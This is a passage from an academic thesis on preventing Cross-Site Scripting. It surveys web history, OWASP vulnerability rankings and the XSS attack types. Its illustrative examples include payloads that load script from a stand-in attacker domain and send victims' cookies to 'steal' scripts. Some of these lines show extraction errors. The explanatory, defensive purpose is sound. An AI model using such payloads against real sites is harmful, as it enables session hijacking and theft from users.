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Abstract  

 

The number of security problems found in web applications has increased tremendously 

in the recent past and Cross Site Scripting vulnerability tops the list among them. Web 

application attacks that exploit the security problems are either prying on the data found 

in the web application or they use the web application as an attack vector on the visiting 

customer. Both types of attack rely on user input that is not validated by the web 

application. 

 

Researchers and industry experts state that the Cross-site Scripting (XSS) is the top most 

vulnerability in the web applications. Attack on web applications are increasing with the 

implementation of newer technologies, new html tags, and new JavaScript functions. 

Further, research surveys also show that there is an increasing trend in zero-day attacks. 

Zero-day attacks exploit the vulnerability before the fix could be issued to protect the 

web application users. This demands a very efficient approach from the server side to 

protect the users of the application.  There are various factors considered while proposing 

the solutions as the requirements or the purpose of web application varies. For example 

some applications would need to support internationalization, for some applications 

performance could be the main criteria, for some other application stringent security 

mechanisms would be the main requirement and other applications would seek for 

scalability.  Considering these factors, five different solutions are proposed to protect the 

applications from Cross Site vulnerabilities and to identify the fake transactions for e-

commerce applications.  

 

This thesis presents the results of the investigation on application security issues and the 

solution for Cross Site Scripting vulnerability.    
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The open issues considered are given in this section:  

 To provide a solution to protect the web pages from XSS vulnerability that 

are developed using different languages like PHP, ASP, JSP, HTML, CGI-

PERL, .Net etc. and they are deployed in different platforms.  

 When a new threat is introduced, the existing web pages should not be 

changed to incorporate the security mechanism.  

 The security solution should be separated from page level implementation 

and it should stay on the top most layer of the web application. This means 

the security solution and the web application should completely be 

decoupled. The need for knowing the entry points of the web application 

should be eliminated.  

 The solution should be placed on the server side to reduce the dependency 

for the updates to happen on the client side.  Hence the research aims to 

provide an effective server side solution.  

 The solution proposed should be built in with a flexibility to accept 

HTML tags in the input and also protect the web application from XSS 

vulnerabilities. 

 The solution should also consider the web applications that receive input 

from various interfaces apart from web browsers. 

 

The main contributions of this research work include:  

 

1. Service Oriented Architecture to prevent XSS to provide a solution to protect the 

web pages from XSS vulnerability that are developed using different languages 

like PHP, ASP, JSP, HTML, CGI-PERL, .Net etc. and they are deployed in 

different platforms. 

2. Factor analysis based decision trees are used block Cross Site Scripting (XSS) for 

variety of web applications.  
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3. Behavior-based anomaly detection on the server side to reduce the effectiveness 

of Cross Site Scripting vulnerabilities to block zero day attacks. 

4. Thread based Intrusion Detection and Prevention System for XSS  and 

Application Worms, and  

5. Improved trust metrics and variance based authorization model in e-commerce to 

identify fake transactions. 

 

The first four approaches compose a systematic anti-XSS solution. These solutions aim to 

provide advanced counter measures against XSS attacks.  The experiments show that 

these approaches are effective to protect users from XSS attack. To identify the hacking 

in the backend and to protect the e-commerce applications we proposed the Improved 

trust metrics and variance based authorization model in e-commerce to identify fake 

transactions. 

 

In the fifth approach, the problem of Authentication and Authorization is studied with an 

aim to trust the customer’s transactions and to authorize the payment. This model was 

applied on the customers’ transactions and the results were studied that are promising to 

employ in e-commerce systems. 

 

Thus the first four approaches developed compose a systematic anti-XSS solution and the 

final solution proposed helps to identify fake transactions in e-commerce applications.  
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Chapter 1    
 

Introduction 
 

This section aims to describe the birth of World Wide Web, evolution of web languages, 

and security issues. The Web is a part of the Internet that consists of web pages 

(documents) linked to each other around the world. The interlinked files can be accessed 

remotely and it is one of the main features of web.   

1.1 Evolution of World Wide Web 

Tim Berners-Lee is a researcher who envisioned and implemented World Wide Web. He 

has stated in his paper,  “World-Wide Web: An Information Infrastructure for High-

Energy Physics”  that the motivation for the system arose from the geographical 

dispersion of large collaborations, and it was a fast turnover of fellows, students, and 

visiting scientists, who had to get up to the speed on projects. In his paper “Information 

Management: A Proposal”. Berners-Lee described the deficiencies of hierarchical 

information delivery systems, and outlined the advantages of a hypertext-based system 

[1]. A distributed hypertext system was the mechanism to provide a single user-interface 

to many large classes of stored information such as reports, notes, databases, computer 

documentation and on-line systems help.  

 

Berners-Lee envisioned a two-phased project to implement his proposal. In the first 

phase, CERN would make use of existing software and hardware, as well as 

implementing simple browsers for the user's workstations, based on an analysis of the 

requirements for information access needs by experiments. In the second phase of the 

project they wanted to extend the application area by also allowing the users to add new 

material. In October of 1990, his project proposal was reformulated with help from 

Robert Cailliau and the name World Wide Web was selected.  

http://www.w3.org/pub/WWW/People.html#Cailliau
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The initial World Wide Web program was developed in November 1990 using object 

oriented technology of NeXT. The program was a browser, which also allowed 

WYSIWYG editing of World Wide Web documents. Web browsers are computer 

programs that retrieve HTML documents from remote Web servers by means of a 

protocol called HTTP, and they enable a computer to display the document on a monitor. 

Each Web browser has its unique way of transferring the HTML coding into a Web page 

[2].  

Tim Berners-Lee wrote the first web browser on a NeXT computer, called World Wide 

Web, finishing the first version on Christmas day, 1990. He released the program to a 

number of people at CERN in March 1991, introducing the web to the high-energy 

physics community, and began its spreading [3]. 

Berners-Lee and his team at CERN paved the way for the future development of the web 

by introducing their server and browser, the protocol used for communication between 

the clients and the server [4]. 

 

The first web server was nxoc01.cern.ch, later called info.cern.ch, and the first web page 

was http://nxoc01.cern.ch/hypertext/WWW/TheProject.html. The page was displayed in 

Line mode browser [5].   

 

There are several mark up languages developed by various companies to meet their needs 

over a period of decade. HTML, SGML, XHTML and XML are all invented to increase 

the number of customers for their organization. AJAX, the recent development in web 

based application, stands for Asynchronous JavaScript And XML [6]. AJAX allows a 

web application to send and receive data via a XML HTTP request - with no page 

refreshing. AJAX includes AJAX-based client, which contains page-specific control logic 

embedded as JavaScript technology. The page interacts with the JavaScript based on 

events such as the document being loaded, a mouse click, mouse over or focus changes 

etc. [7].  

http://livinginternet.com/w/wi_lee.htm
http://nxoc01.cern.ch/hypertext/WWW/TheProject.html
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The evolution of web based languages provided a way for marketers to get to know the 

people visiting their sites and start communicating with them. One way of doing this is 

asking web visitors to subscribe to newsletters, to submit an application form when 

requesting information on products or provide details to customize their browsing 

experience when next visiting a particular website. 

The data provided by the users must be captured, stored, processed, and transmitted to be 

used immediately or later. Web applications, in the form of submit fields, enquiry and 

login forms, shopping carts, and content management systems, are those website widgets 

that allow this to happen. 

1.2 Definition of Web Application and its functionality 

The web is an environment that allows mass customization through the immediate 

deployment of a large and diverse range of applications to millions of global users. Two 

important components of a website are web browsers and web applications. Web 

browsers are software applications that allow users to retrieve data and interact with 

content located on web pages within a website. 

Web applications are computer programs allowing website visitors to submit and send the 

data to/retrieve the data from a database over the Internet using their preferred web 

browser. The data is then presented to the user within their browser as information is 

generated dynamically (in a specific format, e.g. in HTML using CSS) by the web 

application through a web server. 

Modern web pages allow personalized dynamic content to be pulled down by users 

according to individual preferences and settings. Furthermore, web pages may also run 

client-side scripts that “change” the Internet browser into an interface for such 

applications as web mail and interactive mapping software (e.g., Yahoo Mail and Google 

Maps). 
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Modern web sites allow the sensitive customer data to be captured, processed, stored and 

transmit (e.g., personal details, credit card numbers, social security information, etc.) for 

immediate and recurrent use. And, this is done through web applications. Such features as 

web mail, login pages, support and product request forms, shopping carts and content 

management systems provide businesses with the means necessary to communicate with 

prospects and customers. These are all common examples of web applications. 

Figure 1 details the three-layered web application model. The first layer is a web browser 

or the user interface; the second layer is the dynamic content generation technology tool 

such as Java servlets (JSP) or Active Server Pages (ASP), and the third layer is the 

database containing content (e.g., news) and customer data (e.g., usernames and 

passwords, social security numbers and credit card details) [8]. 

 

Figure 1: Three Layered Application Model  

Source: http://acunetix.com/websitesecurity/web-applications.htm 

Figure 2 shows how the initial request is triggered by the user through the browser over 

the Internet to the web application server [8]. The web application accesses the database 

servers to perform the requested task updating and retrieving the information lying within 
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the database. The web application then presents the information to the user through the 

browser.  

Asynchronous JavaScript And XML [6], allows a web application to send and receive 

data via a XML HTTP request - with no page refreshing. AJAX includes AJAX-based 

client, which contains page-specific control logic embedded as JavaScript technology. 

The page interacts with the JavaScript based on events such as the document being 

loaded, by a mouse click, mouse over or focus changes etc. [7] [8]. AJAX is a term 

coined by Jesse James Garrett during 2005[10]. The figure 2 shows the flow of input 

through various components in web application [8].  

 

Figure 2: Flow of input through various components in web application. 

Source: Acunetix technical paper, “Web Applications: What are they? What of them?”, 

available at http://acunetix.com/websitesecurity/web-applications.htm 
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1.3 Web Application Vulnerabilities 

Despite the advantages described in section 1.2 above, web applications do raise a 

number of security concerns stemming from improper coding. Serious weaknesses or 

vulnerabilities, allow hackers to gain direct and public access to databases in order to 

churn sensitive data.  

 

The following are the top ten vulnerabilities commonly seen in web applications [11]. 

Table 1: Top 10 Web application vulnerabilities for 2007  

Vulnerabilities Description 

 Cross Site Scripting 

(XSS)  

XSS flaws occur whenever an application takes user supplied 

data and sends it to a web browser without first validating or 

encoding that content. XSS allows attackers to execute script in 

the victim's browser which can hijack user sessions, deface web 

sites, possibly introduce worms, etc.  

Injection Flaws  

Injection flaws, particularly SQL injection, are common in web 

applications. Injection occurs when user-supplied data is sent to 

an interpreter as part of a command or query. The attacker's 

hostile data tricks the interpreter into executing unintended 

commands or changing data.  

Malicious File 

Execution  

Code vulnerable to remote file inclusion (RFI) allows attackers 

to include hostile code and data, resulting in devastating attacks, 

such as total server compromise. Malicious file execution attacks 

affect PHP, XML and any framework, which accepts filenames 

or files from users.  

Insecure Direct Object 

Reference  

A direct object reference occurs when a developer exposes a 

reference to an internal implementation object, such as a file, 

directory, database record, or key, as a URL or form parameter. 

http://www.owasp.org/index.php/Top_10_2007-A1
http://www.owasp.org/index.php/Top_10_2007-A1
http://www.owasp.org/index.php/Top_10_2007-A2
http://www.owasp.org/index.php/Top_10_2007-A3
http://www.owasp.org/index.php/Top_10_2007-A3
http://www.owasp.org/index.php/Top_10_2007-A4
http://www.owasp.org/index.php/Top_10_2007-A4
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Attackers can manipulate those references to access other objects 

without authorization.  

Cross Site Request 

Forgery (CSRF)  

A CSRF attack forces a logged-on victim's browser to send a 

pre-authenticated request to a vulnerable web application, which 

then forces the victim's browser to perform a hostile action to the 

benefit of the attacker. CSRF can be as powerful as the web 

application that it attacks.  

 Information Leakage 

and Improper Error 

Handling  

Applications can unintentionally leak information about their 

configuration, internal workings, or violate privacy through a 

variety of application problems. Attackers use this weakness to 

steal sensitive data, or conduct more serious attacks.  

 Broken 

Authentication and 

Session Management  

Account credentials and session tokens are often not properly 

protected. Attackers compromise passwords, keys, or 

authentication tokens to assume other users' identities.  

Insecure 

Cryptographic Storage  

Web applications rarely use cryptographic functions properly to 

protect data and credentials. Attackers use weakly protected data 

to conduct identity theft and other crimes, such as credit card 

fraud.  

 Insecure 

Communications  

Applications frequently fail to encrypt network traffic when it is 

necessary to protect sensitive communications.  

Failure to Restrict 

URL Access  

Frequently, an application only protects sensitive functionality 

by preventing the display of links or URLs to unauthorized users. 

Attackers can use this weakness to access and perform 

unauthorized operations by accessing those URLs directly.  

 

Source: OWASP Report, “Top 10 2007”, available at 

http://www.owasp.org/index.php/Top_10_2007 

 

http://www.owasp.org/index.php/Top_10_2007-A5
http://www.owasp.org/index.php/Top_10_2007-A5
http://www.owasp.org/index.php/Top_10_2007-A6
http://www.owasp.org/index.php/Top_10_2007-A6
http://www.owasp.org/index.php/Top_10_2007-A6
http://www.owasp.org/index.php/Top_10_2007-A7
http://www.owasp.org/index.php/Top_10_2007-A7
http://www.owasp.org/index.php/Top_10_2007-A7
http://www.owasp.org/index.php/Top_10_2007-A8
http://www.owasp.org/index.php/Top_10_2007-A8
http://www.owasp.org/index.php/Top_10_2007-A9
http://www.owasp.org/index.php/Top_10_2007-A9
http://www.owasp.org/index.php/Top_10_2007-A10
http://www.owasp.org/index.php/Top_10_2007-A10
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Many of these databases contain valuable information (e.g., personal and financial 

details) making them a frequent target for hackers. Although acts of vandalism such as 

defacing corporate websites are still in common, hackers prefer gaining access to the 

sensitive data residing on the database server because of the immense pay-offs in selling 

the data.  

The following trend of increase is shown in the Common Vulnerabilities and Exposures 

report for 2006. It is clearly seen that the Cross-Site Scripting vulnerability occupies the 

top most position [12]. 

  

Figure 3: MITRE data on Top 10 web application vulnerabilities for 2006 

             Source: [OWASP “Top 10 2007”,   

http://www.owasp.org/index.php/Image:Top_10_2007-MitreDataChart.gif] 
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Table 2: Increasing trend in web application security vulnerabilities over a period 

Rank Flaw TOTAL 2001 2002 2003 2004 2005 2006 

Total  18809 1432 2138 1190 2546 4559 6944 

[ 1] XSS 13.8% 
02.2% 

(11) 

08.7%  

(2) 

07.5% 

 (2) 

10.9% 

 (2) 

16.0% 

 (1) 

18.5%  

(1) 

  2595 31 187 89 278 728 1282 

[ 2] 

Buffer 

over 

flow 

12.6% 
19.5% 

(1) 

20.4% 

 (1) 

22.5%  

(1) 

15.4%  

(1) 

09.8%  

(3) 

07.8%  

(4) 

  2361 279 436 268 392 445 541 

[ 3] 
sql-

inject 
09.3% 

00.4% 

(28) 

01.8% 

(12) 

03.0%  

(4) 

05.6%  

(3) 

12.9%  

(2) 

13.6%  

(2) 

  1754 6 38 36 142 588 944 

[ 4] 
php-

include 
05.7% 

00.1% 

(31) 

00.3% 

(26) 

01.0% 

(13) 

01.4% 

(10) 

02.1%  

(6) 

13.1%  

(3) 

Source: Steve Christey, Robert A. Martin, “Vulnerability Type Distributions in CVE”, 

available at http://cwe.mitre.org/documents/vuln-trends/index.html 

The most basic form of data manipulation for these vulnerabilities are very simple to 

perform, e.g., ‘'‘ for SQL injection and ‘<script>alert('hi')</script>‘ for XSS. This makes 

it easy for beginning researchers to quickly test large amounts of software. 

With XSS, every input has the potential to be an attack vector, which does not occur with 

other vulnerability types. This leaves more opportunity for a single mistake to occur in a 

program that otherwise protects the web application against XSS. SQL injection also has 

many potential attack vectors. Despite the popular opinion that XSS is easily prevented, it 

has many subtleties and variants. Even solid applications can have flaws in them; 

consider non-standard browser behavior that tries to ‘fix’ the malformed HTML, which 

might slip by a filter that uses regular expressions. Finally, until early 2006, the PHP 

interpreter had a vulnerability in which it did not quote error messages, but many 

researchers only reported the surface-level ‘resultant’ XSS instead of figuring out 

whether there was a different ‘primary’ vulnerability that led to the error. 
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As stated earlier web application use the database to deliver the required information to 

its visitors. If web applications are not secure, i.e., vulnerable to, at least one of the 

various forms of hacking techniques, then the entire database of sensitive information is 

at serious risk. Some hackers, for example, may maliciously inject code within vulnerable 

web applications to trick users and redirect them towards Phishing sites. This technique is 

called Cross-Site Scripting (XSS) and may be used even though the web servers and 

database engine contain no vulnerability themselves. Recent research shows that 80% of 

cyber attacks are done at the web application level.  The figure 4 shows the hacking 

attempt [8].  

 

Figure 4: Depiction of a hacking attempt 

Source: Acunetix technical paper, “Web Applications: What are they? What of them?”, 

available at http://acunetix.com/websitesecurity/web-applications.htm 

http://www.acunetix.com/websitesecurity/cross-site-scripting.htm
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Firewalls and SSL provide no protection against web application hacking, because access 

to the website has to be made public. All modern database systems (e.g. Microsoft SQL 

Server, Oracle and MySQL) may be accessed through specific ports (e.g., port 80 and 

443) bypassing the security mechanisms used by the operating system. These ports 

remain open to allow communication with legitimate traffic and therefore constitute a 

major vulnerability.  

Web applications often have direct access to backend data such as customer databases 

and, hence, controlling the access to data is difficult. This is because of the need of web 

applications to add, update or delete the data through user interfaces. The users who do 

not have access may develop some form of script injected into the web application that 

allows data capture and transmission through a genuine user’s privileges. If a hacker 

comes to know the weakness in a web application, he may easily reroute unwitting traffic 

to another location and illegitimately hive off personal details.  

The focus of this research is on the above issue, which the top web application security 

vulnerability is called as Cross Site Scripting (CSS or XSS). XSS vulnerabilities date 

back to 1996, during the early days of the World Wide Web [13]. On February 20, 2000, 

CERT published information on the identified vulnerability affecting all web server 

products and this was called as XSS [14]. The Cross Site Scripting is one of the most 

common application level attacks that hackers use to sneak into web applications. A 

typical scenario involves, a victim with an already established level of privilege in the 

target site and an attacker who initiates unauthorized action using the victim’s privilege. 

The web site is the target of attack and the user is both the victim and the innocent 

accomplice. However, the threat is not limited to the scenario quoted above. 

1.4 Risks involved in the web applications 

 The risks involved in web application when the user either makes the transaction or 

carries out some action in the web application include the following: 

 Recognition - Authentication of the customer [15]. 
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 Authorization – Ability to create a legitimate legal relationship for a customer. 

 Mutual Signing and acceptance by the customer and by the web applications on the        

terms and conditions. 

 Irrevocable evidence that the transactions and conditions were accepted by all parties. 

 Privacy.  

 

In spite of achieving maximum security protection regarding these risks, an XSS attack 

can still be successful, because it allows a hacker to bypass traditional safeguards. Recent 

researches show that the attacks on web applications are increased, since the attacks are 

launched on port 80 that remains open. SSL and firewalls are ineffectual against 

application level attacks, as it cannot prevent the port 80 attacks. These attacks can bring 

down the web application server and can provide access to the internal databases 

containing sensitive information like customer credit card numbers, account information, 

and personal information.  

 

One of the goals of the XSS attack is to steal the client’s cookies, or any other sensitive 

information, which can identify the client with the web site. With the token of the 

legitimate user at hand, the attacker can proceed to act as the user in his/her interaction 

with the site – specifically, impersonate the user [16].  Thus the hacker can use the 

privileges of an authorized user and use his authentication credentials. The hacker thus 

violates the privacy of the user by hacking his private space in the web application.  

1.5 Cross Site Scripting Vulnerability 

XSS occurs when a web application gathers malicious data from a hacker, usually in the 

form of a hyperlink, which contains malicious content within it. Cross Site Scripting 

could potentially affect any site that allows the user to enter data. This vulnerability is 

commonly seen on 

 Search Engines that echo the search keyword, entered.  

 Error messages that echo the string, which contained the error. 
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 Forms that are filled where values are later presented to the user. 

 Web messages that allow users to post their own messages. 

 

Hackers inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable 

application to fool a user in order to gather data from them. As a hacking tool, the 

attacker can formulate and distribute a custom-crafted XSS URL by using a browser to 

test the dynamic website response. The attacker should have some knowledge about 

HTML, JavaScript and a dynamic language, to produce an URL, which is not too 

suspicious-looking, in order to attack a XSS vulnerable website [17]. 

 

Any web page that passes parameters to a database can be vulnerable to this hacking 

technique. Usually these are present in Login forms, Forgot Password forms etc. The 

underlying problem is that many web pages display input that is not validated. If input is 

not validated, malicious script can be embedded within the input. Server side script then 

displays this non-validated input on the browser where the script gets executed as though 

the trusted site generated it.  

 

Everything, from account hijacking, changing user settings, cookie theft, cookie 

poisoning, or false advertising is possible through malicious JavaScript [18].  

The malicious JavaScript can access: 

 Permanent cookies of the vulnerable site maintained by the browser. 

 Opened windows of the vulnerable site. 

 The details present in the web page of the user.  

 

Almost all of today’s web applications use cookie to associate a unique account with a 

specific user. In a typical web application logon scenario, two authentication tokens are 

exchanged. i.e., a username and password is exchanged for a cookie. Thereafter, the 

values stored in a cookie, is the only authentication token. User’s web session is 

vulnerable to hijacking if an attacker captures that user’s cookies. 
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Cookies are the mechanism used by most websites to identify and authenticate a user. If 

one can steal someone's cookies, the user can be used to trick the server into thinking that 

it is the genuine user. Cookies are set with a specific hostname or a domain, so that they 

are only sent to that host or domain. Normally, this should mean that only the server that 

set the cookie or others it is operating in cooperation with (eg. in the same domain) can 

read it.  

Loading a URL such as:  

 http://example.com%20.path.subPath.com/cgi-bin/cookies 

If the above URL is clicked, it will cause the browser to connect to the hostname 

specified and send the cookies to the server based on the hostname before the "%20", in 

this case example.com. The "%20" is the URL encoded version of a space character. 

"%20" is not the only character that works but there are varieties of others that are also 

used.  

 

Since the cookies are passed to a different domain, the XSS attack violates the 

authorization and authentication mechanism laid out in the web application. Further, 

recent development of the XSS attack, termed as application worm by the researcher uses 

XSS attack to replicate them and spread from one web page to another web page within 

the web application. Application worms have the ability to replicate itself using the XSS 

vulnerability which exists in the web application. It also has the ability to read the content 

of the web page and post the data   without the knowledge of the genuine user.  

 

For propagation, a JavaScript needs to read the web page content, when loaded in the 

client browser. AJAX, which uses JavaScript extensively, provides facility for hackers to 

develop application worms. Worms can affect users through web applications like mail, 

community/social web sites that give access to the user details.  For example, to access 

the mail box or a social networking site, the user logs into the web application. When the 

mailbox is accessed or the social networking web page is accessed by the user, it displays 

the user id, their contact list etc in the web page. Assume that the hacker lured the user to 

access the hacker’s web page by some means via an email or by sending a message to the 
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user. When the user accesses the hacker’s web page, the malicious code in the hacker’s 

web page gets executed without the knowledge of the user. The malicious code reads the 

details available in the user’s web page and attaches the vulnerable code not only to the 

user but also in the contact list of the user and hence propagates asynchronously.   Web 

servers have the following two resources.  

 Processing resources (CPU/RAM) 

 Bandwidth resources.   

 

Since the worm in the background can generate the requests through the browsers 

asynchronously, it can affect both the resources listed above and bring down the server. 

Most web servers can handle several hundred concurrent users under normal 

circumstance. Nevertheless, using the XSS worm, a single attacker can generate enough 

traffic to swamp the web application. Though load balancer would be used to distribute 

the requests, it will be difficult for the load balancer to manage the distribution of 

requests, since the number of requests increases as the worm propagates. Thus, the 

exponential growth of worm propagation brings down the server ultimately [19].  

 

The problem with all the susceptible web pages is due to the lack of validation when 

input data is submitted by the user.  If there is no validation then any script can be 

embedded with in the web page, which can even bring down the server.  

 

The cookie is used to associate a unique account with a specific user in almost all of the 

web applications today. Therefore, the only authentication token is the value stored in a 

cookie, which is used for further navigation of the web application. If an attacker captures 

user’s cookies, the user’s web session becomes vulnerable and the hacker will have all 

the privileges of the user and can perform any operation on the web application. 

 

Therefore, if the attacker obtains the cookie by using the XSS technique, then, he can 

load the cookie, point the browser to the appropriate web application site, and access the 

victim’s account without bothering to find the correct combination of username and 
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password [20]. The impact of this depends on the application. An attacker could read a 

victim’s email inbox, access bank records or buy items using cached retail credit card 

information on sites like Amazon, eBay etc, before the legitimate user’s session expires. 

In the following section we explain about the XSS hacking techniques. 

1.5.1 XSS Technique 

 

A web page contains both text and HTML mark up that is generated by the server and 

interpreted by the client browser. Web sites that generate only static pages are able to 

have full control over how the browser interprets these pages. Web sites that generate 

dynamic pages do not have complete control over how their outputs are interpreted by the 

client. The heart of the issue is that if distrusted content can be introduced into a dynamic 

page, neither the web application nor the client has enough information to recognize that 

this has happened and take protective actions. 

 

Such distrusted content can be introduced into a dynamic page through one of the 

following ways. 

1. Malicious code provided by one client for another client.  

2. Malicious code sent by a client for itself [21]. 

 

Example 1: 

Assume a user searching for the keyword “XML Tutorial l”. The user’s return URL could 

look like http://mydomain.com/index.asp?search=XML+Tutorial.  

The attacker can craft another URL and make the user click on it through many media 

such as links in email, mouse over events on images etc. The attacker’s URL may look 

like, 

http://mydomain.com/index.asp?search=</form><formaction=“hackerdomain.com/hack.

asp”> 

This results in the execution of the script written in hack.asp that could log the user’s 

cookie information. 

 

http://mydomain.com/index.asp?search=XML+Tutorial
http://mydomain.com/index.asp?search=%3c/form%3e%3cform
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Example 2:   

The attacker can craft an URL like the following and make the user execute the 

JavaScript specified by the attacker. 

http://mydomain.com/index.asp?search=<script src= 

http://hackerdomain.com/hack.js></script> 

Example 3: 

The attacker can add the following statement to the URL he designs and hijack the user to 

his domain. 

document .get Element sByTagName(“form”[0].act ion = 

http://hackerdomain.com/steal.php 

The script in steal.php will loot the cookie information of the user, log it for the attacker, 

and notify the attacker about the cookie theft. 

1.5.2 XSS Threats 

Cross-site scripting poses several application risks that include, but are not limited to, the 

following: 

 Users can unknowingly execute malicious scripts when viewing dynamically 

generated pages based on content provided by an attacker [22]. 

 An attacker can take over the user session before the user’s session cookie expires. 

 An attacker can connect users to a malicious server of the attacker’s choice. 

 An attacker who can convince a user to access a URL supplied by the attacker could 

cause script or HTML of the attacker's choice to be executed in the user’s browser. Using 

this technique, an attacker can take actions with the privileges of the user who accessed 

the URL, such as issuing queries on the under lying SQL databases and viewing the 

results and to exploit the known faulty implementations on the target system. 

 SSL-Encrypted connections may be exposed [23, 24]. 

 

The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted 

connection is established between the client and the legitimate server. SSL encrypts data 

sent over this connection, including the malicious code, which is passed in both 

http://hackerdomain.com/hack.js%3e%3c/script
http://hackerdomain.com/steal.php
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directions. While ensuring that the client and server are communicating without 

snooping, SSL does not attempt to validate the legitimacy of data transmitted. 

 

This is because there is a legitimate dialog between the client and the server, SSL reports 

no problems. Malicious code that attempts to connect to a non-SSL URL may generate 

warning messages about the insecure connection, but the attacker can circumvent this 

warning simply by running an SSL-capable web server [25]. 

 Attacks may be persistent through poisoned Cookies. 

Once the malicious code executes they appear to have come from the authentic web site, 

cookies may be modified to make the attack persistent. Specifically, if the vulnerable web 

site uses a field from the cookie in the dynamic generation of pages, the cookie may be 

modified by the attacker to include malicious code [26]. Future visits to the affected web 

site (even from trusted links) will be compromised when the site requests the cookie and 

displays a page based on the field containing the code. 

 Attacker may access restricted web sites from the client. 

By constructing a malicious URL an attacker may be able to execute script code on the 

client’s machine that exposes data from a vulnerable server inside the client's intranet. 

 

The attacker may gain unauthorized web access to an intranet web server if the 

compromised client has cached authentication for the targeted server [27]. There is no 

requirement for the attacker to masquerade as any particular system. An attacker only 

needs to identify a vulnerable web application server and convince the user to visit an 

innocent looking page to expose potentially sensitive data on the web server [28]. 

  Domain based security policies may be violated. 

If user’s browser is configured to allow execution of scripting languages from some hosts 

or domains while preventing this access from others, attackers may be able to violate this 

policy. By embedding malicious script tags in a request sent to a server that is allowed to 

execute scripts, an attacker may gain this privilege as well. For example, Internet 

Explorer security “zones” can be subverted by this technique.  

  Use of less-common character sets may present additional risk. 
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Browsers interpret the information they receive according to the character set chosen by 

the user, if no character set is specified in the page returned by the web application.. 

However, many web sites fail to explicitly specify the character set (even if they encode 

or filter characters with special meaning in the ISO-859- 1), leaving users of alternate 

character sets at risk [29].  

  Attacker may alter the behavior of forms. 

Under some conditions, an attacker may be able to modify the behavior of forms, 

including how results are submitted. 

1.5.3 XSS Types 

 

XSS vulnerability can be broadly classified into three types. 

a. Non-Persistent or Reflected type 

b. Persistent or Stored type 

c. DOM based 

Each of the three types and their attack scenario are explained in this section. Attackers 

can send a malicious URL through a reflected XSS attack, which goes directly to the 

victim’s computer, or through a stored attack, which travels through a web application to 

the victim’s computer. 

 

1.5.3.1 Non-Persistent XSS 

 

Non-Persistent or Reflected XSS is the most common type of XSS. This vulnerability 

shows up when data provided by a web client is used immediately by server-side scripts 

to generate a page of result for that user.  

If invalidated user supplied data is included in the resulting page without HTML quoting, 

this will allow client-side code to be injected into the dynamic page. A classic example of 

this is in site search engines: if a user searches for a string, which includes some HTML 

special characters, often the search string will be redisplayed on the result page to 

indicate what was searched for, or will at least include the search terms in the text box for  
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Figure 5: XSS Attack 

Source : Greg Hoglund, Gary McGraw, “Exploiting Software: How to Break Code”, 

Chapter 5 of Exploiting Software, Addison-Wesley Professional, Boston, MA, Feb 2004. 

 

easier editing. If all occurrences of the search terms are not HTML quoted, a XSS hole 

will result [30]. The following section presents a Non-Persistent XSS attack scenario. 

i. Alice often visits a particular website, which is hosted by Bob. Bob's website allows 

Alice to log in with a username/password pair and store sensitive information, such as 

billing information. 

ii. Mallory observes that Bob's website contains a reflected XSS vulnerability. 

iii. Mallory constructs a URL to exploit the vulnerability, and sends Alice an email,     

making it look as if it came from Bob. 

iv. Alice visits the URL provided by Mallory while logged into Bob's website. 
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v. The malicious script embedded in the URL executes in Alice's browser, as if it came 

directly from Bob's server. The script steals sensitive information (authentication 

credentials, billing info, etc) and sends this to Mallory's web server without Alice's 

knowledge. 

1.5.3.2 Persistent / Stored XSS 

This type of XSS vulnerability allows the most powerful kinds of attacks. It exists when 

data provided to a web application by a user is first stored persistently on the server (in a 

database, file system, or other location), and later displayed to users in a web page 

without being HTML quoted. 

 

A classic example of this is with online message boards, where users are allowed to post 

HTML formatted messages for other users to read. These vulnerabilities are usually more 

significant than other types because an attacker can inject script just once, and could 

potentially hit a large number of other users [31]. The methods of injection can vary a 

great deal, and an attacker may not need to use the web application itself to exploit such a 

hole. 

 

Any data received by the web application (via email, system logs, etc) that can be 

controlled by an attacker must be quoted prior to re-display in a dynamic page, else an 

XSS vulnerability of this type could result [32]. The following section presents Persistent/ 

Stored XSS attack scenario.  

i. Bob hosts a web site which allows users to post messages and other content to the site 

for later viewing by other members. 

ii. Mallory not ices that Bob's website is vulnerable to a persistent XSS attack.  
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Figure 6: Steps for a cross site scripting attack with reflection 

Source: Philip Vogt, “Cross Site Scripting (XSS) Attack 

Prevention with Dynamic Data Tainting on the Client Side”, available at 

http://www.seclab.tuwien.ac.at/people/vogge/docs/da_xss_prevention.pdf 

 

iii. Mallory posts a message, controversial in nature, which may encourage many other 

users of the site to view it. 

iv. Upon merely viewing the posted message, site users' session cookies or other 

credentials could be taken and sent to Mallory's web server without their knowledge. 

v. Later, Mallory logs in as other site users and post messages on their behalf 

vi. Consider the following example: Assume that the attacker finds that there is an XSS 

vulnerability in the web application software that the shopping website uses, he sends 

the victim and email, with the following HTML: 
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<A 

HREF=http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=<Script>document.lo

cation.replace(‘htto://example.com/ph33r/steal.cgi?’+document.cookie);</Script>>Check this 

article Out! </a> 

 

The user would click the link and they would be lead to the CNN News Article, but at the 

same time the attacker would also direct the user towards his specially crafted URL, in 

which the user’s cookie is passed. Using the Fire fox cookie editor the attacker copies and 

pastes the victim’s cookie and uses it for himself 

 

Figure 7: Cookie theft using persistent XSS. 

[Source: Lumen Mori, “XSS attack FAQs”,  

http://www.infosecwriters.com/text_resources/pdf/XSS_Attack_FAQ.pdf]  

 

Figure 7, the screenshot is an example, of how to use the Fire fox cookie editor. The 

attacker now refreshes and page and has access to the victims account, the victim is billed 

with everything the attacker chooses to buy.  

http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=%3cScript%3edocument.location.replace('htto://example.com/ph33r/steal.cgi?'+document.cookie);%3c/Script%3e
http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=%3cScript%3edocument.location.replace('htto://example.com/ph33r/steal.cgi?'+document.cookie);%3c/Script%3e
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1.5.3.3 DOM-based / Local XSS  

“Non-persistent” means that the malicious (JavaScript) payload is echoed by the server in 

an immediate response to an HTTP request from the victim. “Persistent” means that the 

payload is stored by the system, and may later be embedded by the vulnerable system in 

an HTML page provided to a victim [33]. Both the above XSS types assume a 

fundamental property that the malicious payload move from the browser to the server and 

back to the same (in non persistent XSS) or any (in persistent XSS) browser . However, 

DOM based XSS are the ones that do not rely on sending the malicious data to the server. 

The prerequisite is for the vulnerable site to have an HTML page that uses data from the 

document .location or document [34] .URL or document .referrer (or any various other 

